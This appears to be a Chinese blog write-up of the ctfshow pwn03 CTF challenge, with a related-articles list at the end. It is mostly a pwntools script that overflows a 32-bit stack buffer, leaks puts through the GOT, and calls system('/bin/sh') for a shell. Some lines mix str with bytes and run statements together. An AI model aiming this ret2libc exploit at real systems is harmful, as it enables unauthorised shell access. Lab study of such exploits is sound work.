ctfshow_pwn03
2024-05-08 03:20:29
https://www.bilibili.com/video/av885494681
checksec发现开了NX保护
看我发现了什么,三个pop哈哈
from pwn import *
from LibcSearcher import *
elf = ELF('./stack1')
p = process('./stack1')
#不知道为啥远程打不开
#我知道为什么了,因为我的虚拟机瓦特了
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']payload = b'a'*(9+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
#首先为啥是9+4,因为s大小为9字节,因为是32位,32÷8=4,所以是9+4
#为啥先puts_plt,后main,最后got,因为要先泄露outs在plt表的地址,然后通过main的返回地址,然后泄露puts在got表的地址
#还有就是由于libc延迟绑定,所以用got表泄露已经执行过的函数地址
#main可以让我们的程序再次执行,输入payload#--1--
p.recvuntil('\n\n')#很重要!!!
#获取两个\n\n,为啥,因为?
p.sendline(payload)
puts_addr = u32(p.recv(4))
#这里的意思是获取4字节,然后解码
print(hex(puts_addr))#获取到是0xf7e1acd0
#然后这里再转化为hex值
'''
#--2--
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
bin_sh_sh_addr = libcbase + libc.dump('str_bin_sh')
p.interactive()
'''#--3--
puts_offset = 0x067360
system_offset = 0x03cd10
str_bin_sh_offset = 0x17b8cf
libcbase = puts_addr - puts_offset
system_addr = libcbase + system_offset
bin_sh_addr = libcbase + str_bin_sh_offset
payload2 = 'a'*13 + p32(system_addr) + 'a'*4 + p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()
底下的不用看了↓没用上
#查看libc地址
lbb 文件名
ctfshow_pwn03相关推荐
最新文章
- 关于nginx rewrtie的四种flag
- Unity Mathf 数学运算(C#)
- C# - Marshal 学习总结
- leetcode 51. N 皇后 思考分析
- Linux系统运维成长记
- docker 安装 jdk,配置环境变量
- PHP总结:几个陷阱
- vue实现留言板的功能_基于vue和bootstrap实现简单留言板功能
- 对BottomTagFragment的理解
- 【实践】一站式数据开发平台在有赞的最佳实践.pdf(附下载链接)
- 怎样检查c语言程序的问题,C语言陷阱与技巧第24节,做代码选择,不一定都要使用 if 判断的...
- 每日算法系列【LeetCode 470】用 Rand7() 实现 Rand10()
- 手机上怎么换证件照底色?手机一键照片改背景颜色
- Linux centOS 7.2 命令行下 静默安装部署oracle11g数据库
- 页面打印表格换页问题
- Alpha阶段敏捷冲刺②
- tplmap-模板注入工具
- Kafka SASL/SCRAM动态认证集群部署
- LINUX操作系统centos安装
- Android开发指南中文版